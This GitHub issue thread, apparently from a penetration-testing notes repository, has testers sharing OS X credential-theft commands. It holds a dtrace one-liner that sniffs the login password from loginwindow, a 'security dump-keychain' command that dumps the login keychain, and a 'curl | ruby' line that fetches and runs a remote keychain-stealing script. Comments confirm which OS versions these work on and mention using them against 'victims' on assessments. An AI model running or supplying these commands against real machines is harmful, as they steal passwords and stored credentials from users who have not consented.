Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

OS X Password sniffing #100

Open
WebBreacher opened this issue Jun 25, 2015 · 5 comments
Open

OS X Password sniffing #100

WebBreacher opened this issue Jun 25, 2015 · 5 comments

Comments

@WebBreacher
Copy link
Contributor

Don't have time to add this in the appropriate place:

sudo dtrace -n 'pid$target::SecKeychainLogin:entry{trace(copyinstr(uregs[R_ECX]));}' -p $(ps -A | grep -m1 loginwindow | awk '{print $1}') (from https://twitter.com/fel1x/status/613420320104558592)

Dump whole OS X keychain: security dump-keychain -d login.keychain > keychain.txt && srm keychain.txt

@OJ
Copy link
Contributor

OJ commented Jun 25, 2015

This is what I get:

dtrace: invalid probe specifier pid$target::SecKeychainLogin:entry{trace(copyinstr(uregs[R_ECX]));}: pid provider is not installed on this system

😢
System info:

$ uname -a                                                                                                     ⏎
Darwin cdecl.local 13.4.0 Darwin Kernel Version 13.4.0: Wed Mar 18 16:20:14 PDT 2015; root:xnu-2422.115.14~1/RELEASE_X86_64 x86_64

@WebBreacher
Copy link
Contributor Author

@OJ - It was on Twitter so it has to be true!

Seriously though, the first command appears to work on my MBP:

└──> $ sudo dtrace -n 'pid$target::SecKeychainLogin:entry{trace(copyinstr(uregs[R_ECX]));}' -p $(ps -A | grep -m1 loginwindow | awk '{print $1}') dtrace: description 'pid$target::SecKeychainLogin:entry' matched 1 probe

And the second (dump the keychain) works too but pops up a "do you want this app to access your keychain" prompt for each cred that is being dumped. I'm VERY sure that users/victims will notice this.

└──> $ uname -a Darwin c02kj19lfft4.home 13.4.0 Darwin Kernel Version 13.4.0: Wed Mar 18 16:20:14 PDT 2015; root:xnu-2422.115.14~1/RELEASE_X86_64 x86_64

@OJ
Copy link
Contributor

OJ commented Jun 25, 2015

hehe yeah sorry mate. I wasn't implying that it was you. I think it might rely on Yosemite (I'm still on Mavericks).

Fun stuff though!

@WebBreacher
Copy link
Contributor Author

No worries....good to know where it does/does not work too. I'm on 10.9.5 OS X

@sho-luv
Copy link

sho-luv commented Jun 25, 2015

Curl https://raw.githubusercontent.com/erran/keyjacker/master/keyjacker.rb | ruby

Co worker Erran wrote this when he was like 16 or so. Still works pretty well on assessments. Again you need to click allow which means you need gui access but I have pulled that off remotely with vnc. Not super stealthy but gets the job done.

Leon Johnson

On Jun 25, 2015, at 6:48 AM, OJ Reeves [email protected] wrote:

This is what I get:

dtrace: invalid probe specifier pid$target::SecKeychainLogin:entry{trace(copyinstr(uregs[R_ECX]));}: pid provider is not installed on this system

System info:

$ uname -a ⏎
Darwin cdecl.local 13.4.0 Darwin Kernel Version 13.4.0: Wed Mar 18 16:20:14 PDT 2015; root:xnu-2422.115.14~1/RELEASE_X86_64 x86_64

Reply to this email directly or view it on GitHub.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants